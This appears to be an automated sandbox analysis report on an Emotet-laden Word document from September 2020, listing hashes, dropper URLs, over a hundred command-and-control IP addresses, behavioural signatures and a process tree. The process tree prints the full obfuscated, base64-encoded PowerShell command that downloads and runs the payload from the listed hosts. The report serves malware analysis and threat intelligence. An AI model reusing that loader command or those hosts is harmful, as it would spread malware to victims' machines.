Analysis
- max time kernel
136s - max time network
152s - platform
windows10_x64 - resource
win10 - submitted
25/09/2020, 22:02
Static task
static1
Behavioral task
behavioral1
Sample
ITV87345 2020_09_26.doc
Resource
win7v200722
General
- Target ITV87345 2020_09_26.doc
- Size 144KB
- Sample200925-gv23stdnna
- SHA256 e85dd950d7ef4fd9bdc533f41d90961eaf78b6a9500e88a156bd55de7cd338d8
- MD5 667a9b3820b6ed45ec6842f78cbc3c90
- SHA1 19d180ca21e1ae618ee4114e77218aa4c3dd3a15
- SHA512 3ced37481eeb561f89a76e9a9efc350db867e44683ff4af8bcd3a101c5d404def956664f70fe6598f9ed714a2af38c17165ad0f29873e0f32162d989a4bdafd7
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://ibccglobal.com/thankyou2/ARA/
-
exe.dropper
http://work.digitalvichar.com/1mv7clu/o/
-
exe.dropper
http://13.229.25.57/7xdfb/jpA/
-
exe.dropper
http://binarystationary.com/cgi-bin/5rM/
-
exe.dropper
http://fmcav.com/images/ZQF/
-
exe.dropper
https://kodiakheating.com/ldnha/ybI/
-
exe.dropper
https://khvs.vrfantasy.gallery/igiodbck/eXq/
Extracted
-
emotet
-
12.163.208.58:80
-
45.33.35.74:8080
-
87.106.253.248:8080
-
192.241.146.84:8080
-
190.115.18.139:8080
-
65.36.62.20:80
-
170.81.48.2:80
-
83.169.21.32:7080
-
185.232.182.218:80
-
190.2.31.172:80
-
77.106.157.34:8080
-
82.230.1.24:80
-
202.4.58.197:80
-
201.213.177.139:80
-
78.249.119.122:80
-
123.51.47.18:80
-
77.90.136.129:8080
-
60.93.23.51:80
-
152.169.22.67:80
-
190.117.79.209:80
-
60.108.144.104:443
-
213.197.182.158:8080
-
82.76.111.249:443
-
209.236.123.42:8080
-
190.24.243.186:80
-
177.74.228.34:80
-
191.182.6.118:80
-
96.245.123.149:80
-
61.197.92.216:80
-
1.226.84.243:8080
-
111.67.12.221:8080
-
216.47.196.104:80
-
185.94.252.27:443
-
70.116.143.84:80
-
187.162.248.237:80
-
217.13.106.14:8080
-
80.11.164.185:80
-
35.143.99.174:80
-
190.190.148.27:8080
-
219.92.13.25:80
-
70.32.115.157:8080
-
96.227.52.8:443
-
51.75.33.127:80
-
95.9.180.128:80
-
174.113.69.136:80
-
119.106.216.84:80
-
111.67.77.202:8080
-
91.105.94.200:80
-
178.250.54.208:8080
-
98.13.75.196:80
-
2.36.95.106:80
-
186.70.127.199:8090
-
116.202.23.3:8080
-
202.134.4.210:7080
-
50.28.51.143:8080
-
45.33.77.42:8080
-
67.247.242.247:80
-
137.74.106.111:7080
-
85.214.26.7:8080
-
181.30.61.163:443
-
77.238.212.227:80
-
185.215.227.107:443
-
186.103.141.250:443
-
50.121.220.50:80
-
74.136.144.133:80
-
104.131.41.185:8080
-
61.92.159.208:8080
-
104.131.103.37:8080
-
51.15.7.189:80
-
185.94.252.12:80
-
94.176.234.118:443
-
212.71.237.140:8080
-
5.196.35.138:7080
-
45.46.37.97:80
-
70.32.84.74:8080
-
199.203.62.165:80
-
38.88.126.202:8080
-
51.159.23.217:443
-
155.186.0.121:80
-
51.38.124.206:80
-
181.129.96.162:8080
-
64.201.88.132:80
-
92.24.50.153:80
-
189.2.177.210:443
-
45.16.226.117:443
-
76.168.54.203:80
-
185.178.10.77:80
-
220.109.145.69:80
-
192.81.38.31:80
-
68.183.170.114:8080
-
177.73.0.98:443
-
138.97.60.141:7080
-
192.241.143.52:8080
-
217.199.160.224:7080
-
185.183.16.47:80
-
177.129.17.170:443
-
5.189.178.202:8080
-
74.58.215.226:80
-
51.255.165.160:8080
-
12.162.84.2:8080
-
149.202.72.142:7080
-
87.106.46.107:8080
-
188.135.15.49:80
-
68.183.190.199:8080
-
172.104.169.32:8080
-
68.69.155.181:80
-
72.47.248.48:7080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1696 612 POwersheLL.exe 73 - Emotet Payload 8 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3948-13-0x0000000000570000-0x0000000000582000-memory.dmp emotet behavioral2/memory/3948-13-0x0000000000570000-0x0000000000582000-memory.dmp emotet behavioral2/memory/3948-14-0x0000000002330000-0x0000000002340000-memory.dmp emotet behavioral2/memory/3948-14-0x0000000002330000-0x0000000002340000-memory.dmp emotet behavioral2/memory/3348-17-0x00000000020F0000-0x0000000002102000-memory.dmp emotet behavioral2/memory/3348-17-0x00000000020F0000-0x0000000002102000-memory.dmp emotet behavioral2/memory/3348-18-0x0000000002110000-0x0000000002120000-memory.dmp emotet behavioral2/memory/3348-18-0x0000000002110000-0x0000000002120000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 14 1696 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3948 Bp6p4xpk.exe 3348 mfAACEnc.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\KBDFI1\mfAACEnc.exe Bp6p4xpk.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 720 WINWORD.EXE 720 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1696 POwersheLL.exe 1696 POwersheLL.exe 1696 POwersheLL.exe 3348 mfAACEnc.exe 3348 mfAACEnc.exe 3348 mfAACEnc.exe 3348 mfAACEnc.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1696 POwersheLL.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 720 WINWORD.EXE 720 WINWORD.EXE 720 WINWORD.EXE 720 WINWORD.EXE 720 WINWORD.EXE 720 WINWORD.EXE 720 WINWORD.EXE 720 WINWORD.EXE 720 WINWORD.EXE 3948 Bp6p4xpk.exe 3348 mfAACEnc.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1696 wrote to memory of 3948 1696 POwersheLL.exe 79 PID 1696 wrote to memory of 3948 1696 POwersheLL.exe 79 PID 1696 wrote to memory of 3948 1696 POwersheLL.exe 79 PID 3948 wrote to memory of 3348 3948 Bp6p4xpk.exe 81 PID 3948 wrote to memory of 3348 3948 Bp6p4xpk.exe 81 PID 3948 wrote to memory of 3348 3948 Bp6p4xpk.exe 81
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ITV87345 2020_09_26.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:720
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABTAGMAaAA0AHoAagAyAD0AKAAnAFoAXwAnACsAKAAnAHoAcgAnACsAJwBqADMAYQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAVQBzAEUAUgBQAFIATwBmAGkAbABlAFwASQBjADQARQBHAFYAdQBcAEMAXwB6AFMAawA1AFgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQBgAFIAYABJAFQAeQBgAHAAUgBvAFQATwBDAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwArACcAMgAsACAAdAAnACkAKwAoACcAbAAnACsAJwBzADEAJwApACsAKAAnADEALAAgACcAKwAnAHQAbAAnACkAKwAnAHMAJwApADsAJABJAHgAOAB4AHAAbgBxACAAPQAgACgAJwBCAHAAJwArACcANgAnACsAKAAnAHAANAB4ACcAKwAnAHAAawAnACkAKQA7ACQAUAA4AHAAcAB5AGYAdAA9ACgAKAAnAFIAOAAnACsAJwBuAGcAJwApACsAJwB5ACcAKwAnADYAZAAnACkAOwAkAFcAZgBvAF8AbwBkAGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0ASQAnACsAJwBjADQAZQBnAHYAdQB7ADAAfQAnACsAJwBDAF8AegBzAGsANQB4AHsAJwArACcAMAB9ACcAKQAgAC0ARgAgAFsAQwBoAGEAUgBdADkAMgApACsAJABJAHgAOAB4AHAAbgBxACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABCAGYAaAA3AGQAdQBtAD0AKAAoACcARAAnACsAJwBxADcAJwApACsAKAAnADAAaAAnACsAJwBwAGMAJwApACkAOwAkAFUAcgB5AGIAMABkAGkAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AVwBFAEIAQwBMAGkAZQBuAHQAOwAkAFcAZQBwAGIAZABmAG8APQAoACgAJwBoACcAKwAnAHQAJwArACcAdABwADoALwAnACkAKwAoACcALwBpACcAKwAnAGIAJwApACsAKAAnAGMAYwBnAGwAbwBiACcAKwAnAGEAJwArACcAbAAuACcAKQArACcAYwAnACsAKAAnAG8AJwArACcAbQAvAHQAaABhAG4AawB5AG8AJwArACcAdQAyAC8AQQBSACcAKQArACcAQQAvACcAKwAoACcAKgAnACsAJwBoAHQAdAAnACsAJwBwADoALwAvACcAKQArACgAJwB3AG8AJwArACcAcgAnACkAKwAoACcAawAuAGQAJwArACcAaQBnACcAKQArACgAJwBpAHQAJwArACcAYQAnACsAJwBsAHYAaQBjAGgAYQByACcAKQArACgAJwAuAGMAJwArACcAbwBtAC8AMQBtAHYAJwApACsAKAAnADcAYwBsAHUAJwArACcALwAnACkAKwAoACcAbwAvACoAaAB0AHQAcAA6ACcAKwAnAC8ALwAnACsAJwAxADMAJwArACcALgAyACcAKwAnADIAJwApACsAKAAnADkAJwArACcALgAyACcAKwAnADUALgA1ADcALwA3AHgAZABmAGIALwBqACcAKwAnAHAAQQAvACcAKwAnACoAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAOgAvACcAKwAnAC8AYgBpACcAKwAnAG4AYQByAHkAcwB0AGEAdABpAG8AJwApACsAJwBuACcAKwAnAGEAJwArACcAcgB5ACcAKwAnAC4AYwAnACsAKAAnAG8AbQAvAGMAJwArACcAZwAnACkAKwAoACcAaQAtACcAKwAnAGIAaQBuAC8ANQAnACkAKwAoACcAcgAnACsAJwBNAC8AKgBoAHQAJwApACsAJwB0ACcAKwAnAHAAJwArACgAJwA6AC8AJwArACcALwBmACcAKQArACgAJwBtAGMAJwArACcAYQAnACkAKwAoACcAdgAuAGMAbwAnACsAJwBtAC8AaQBtAGEAZwAnACsAJwBlAHMAJwArACcALwAnACsAJwBaAFEAJwArACcARgAvACoAaAB0ACcAKwAnAHQAcAAnACkAKwAoACcAcwA6ACcAKwAnAC8ALwBrAG8AZABpAGEAawBoAGUAJwArACcAYQAnACkAKwAoACcAdABpACcAKwAnAG4AZwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAGwAJwArACcAZABuACcAKQArACgAJwBoAGEAJwArACcALwAnACkAKwAoACcAeQBiACcAKwAnAEkALwAqACcAKQArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAAnACsAJwBzADoALwAvACcAKwAnAGsAaAB2ACcAKQArACgAJwBzAC4AdgByAGYAYQBuACcAKwAnAHQAYQBzAHkAJwArACcALgAnACsAJwBnAGEAbAAnACkAKwAnAGwAZQAnACsAJwByAHkAJwArACgAJwAvAGkAJwArACcAZwBpACcAKQArACgAJwBvAGQAJwArACcAYgBjAGsAJwApACsAKAAnAC8AZQBYAHEAJwArACcALwAnACkAKQAuACIAcwBwAEwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYAGgAZABuAG0AbQBsAD0AKAAoACcARQByAHUAJwArACcANgB4ACcAKQArACcAbgAnACsAJwBwACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFgAcwAwAGgAcwB2ADIAIABpAG4AIAAkAFcAZQBwAGIAZABmAG8AKQB7AHQAcgB5AHsAJABVAHIAeQBiADAAZABpAC4AIgBEAG8AYABXAGAATgBsAE8AYQBEAGAARgBpAGwARQAiACgAJABYAHMAMABoAHMAdgAyACwAIAAkAFcAZgBvAF8AbwBkAGYAKQA7ACQAVQBlADIAcwBoAG8AcwA9ACgAKAAnAE8AcQBqACcAKwAnAGkAJwApACsAKAAnAGsAJwArACcAdQAzACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFcAZgBvAF8AbwBkAGYAKQAuACIATABlAE4AYABnAGAAVABIACIAIAAtAGcAZQAgADIANQA1ADcAMQApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABXAGYAbwBfAG8AZABmACkAOwAkAFMAagBxADIAMgBfADEAPQAoACcASgAxACcAKwAoACcAdwBfAHMAJwArACcAbQAzACcAKQApADsAYgByAGUAYQBrADsAJABJAGgAZAB5AHYAcQB0AD0AKAAoACcAQgA0ACcAKwAnADgAJwApACsAKAAnAGMAJwArACcAZAB1AHgAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAYQA5AGUAMAA0AGIAPQAoACcAQQB5ACcAKwAoACcANgB6ACcAKwAnADgAJwApACsAJwBiAGMAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1696 -
C:\Users\Admin\Ic4egvu\C_zsk5x\Bp6p4xpk.exe"C:\Users\Admin\Ic4egvu\C_zsk5x\Bp6p4xpk.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3948 -
C:\Windows\SysWOW64\KBDFI1\mfAACEnc.exe"C:\Windows\SysWOW64\KBDFI1\mfAACEnc.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3348
-
-